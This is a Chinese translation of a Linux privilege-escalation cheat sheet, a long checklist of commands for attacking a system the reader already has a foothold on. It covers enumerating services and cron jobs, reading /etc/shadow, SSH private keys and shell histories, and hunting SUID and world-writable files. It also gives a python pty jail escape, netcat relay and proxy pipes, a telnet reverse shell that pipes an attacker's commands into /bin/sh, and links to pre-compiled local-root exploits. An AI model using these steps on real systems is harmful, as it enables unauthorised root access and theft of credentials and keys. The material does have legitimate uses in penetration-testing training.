【译】Linux提权基础

英文原文： Basic Linux Privilege Escalation

　　在开始之前，我想指出 - 我不是专家。据我所知，在这个巨大的领域没有一个“魔法”的答案。这只是我的发现，写出来，共享而已（是我的起点）。下面列举的项中会出现几个不同命令，都是做同样的事，在不同的场景使用可能会有不一样的亮点。我知道有更多的东西有待探索，这只是一个基本和粗略的指导。并不是每个命令都适用于每个系统，因为Linux版本之间有很大的不同。 "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".

枚举是关键。

（Linux）提权是关于：

收集 - 枚举，更多的枚举和一些更多的枚举。

处理 - 对数据进行排序，分析和确定优先级。

搜索 - 知道要搜索什么以及在哪里可以找到漏洞利用代码。

调整 - 自定义合适的漏洞利用代码。 并不是每个漏洞利用工作对于每个系统“开箱即用”。

尝试 - 准备好（大量）试验和错误。

操作系统

发布的是什么类型？是什么版本？

cat /etc/issue

cat /etc/*-release

  cat /etc/lsb-release      # Debian based

  cat /etc/redhat-release   # Redhat based

是什么内核版本？是64位吗？

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

从环境变量中可以了解些什么？　

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

有打印机吗？

lpstat -a

应用和服务

什么服务正在运行？哪个服务有哪个用户权限？

ps aux

ps -ef

top

cat /etc/services

哪些服务由root运行？在这些服务中，哪些是脆弱的 - 这是值得一查的！

ps aux | grep root

ps -ef | grep root

安装了什么应用程序？他们是什么版本？他们当前是否正在运行？　

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

有没有服务设置错误配置？是否附加任何（有漏洞）插件？

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

有哪些作业调度？

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

任何明文的用户名或密码？

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信和网络

系统有哪些网卡？它是否连接到另一个网络？　

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置有哪些？你能找到关于这个网络的哪些东西？ DHCP服务器？ DNS服务器？网关？

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

正在与系统通信的用户和主机有哪些？

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

缓存了什么？ IP或MAC地址　

arp -e

route

/sbin/route -nee

是否可能进行数据包嗅探？可以看到什么？监听实时流量

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

你能拿到shell吗？你可以与系统交互吗？

nc -lvp 4444    # Attacker. Input (Commands)

nc -lvp 4445    # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

端口转发是否可能？跟另一个视图的流量进行重定向和交互

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道是否可能？在本地，远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

机密信息和用户　　

你是谁？谁登录了？谁已经登录了？还有谁在那里？谁能做什么？

id

who

w

last

cat /etc/passwd | cut -d: -f1    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

可以找到哪些敏感文件？　　

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

在home目录中有什么"有趣"东西？可以访问吗？

ls -ahlR /root/

ls -ahlR /home/

有没有密码，脚本，数据库，配置文件或日志文件？密码的默认路径和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户在做什么？是否有明文密码？他们正在编辑什么？　

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到哪些用户信息？

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

可以找到私钥信息吗？　　

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写在/etc/? 能够重新配置服务吗?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/var/目录下能找到什么？

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

任何设置/文件（隐藏）在网站上？任何具有数据库信息的设置文件？　　

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

日志文件中有什么（有助于"本地文件包含"！）

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/　

如果命令有限，你脱离"jail" shell？

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

文件系统是如何挂载的？

mount

df -h

是否有任何未挂载的文件系统？

cat /etc/fstab

使用了哪些"高级Linux文件权限"？粘滞位，SUID＆GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

在哪里可以写和执行? 一些常见的地方：/tmp，/var/tmp，/dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders

find / -perm -222 -type d 2>/dev/null     # world-writeable folders

find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

有没有任何"问题"文件? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files

find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和寻找漏洞代码

安装/支持什么开发工具/语言？

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件？

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/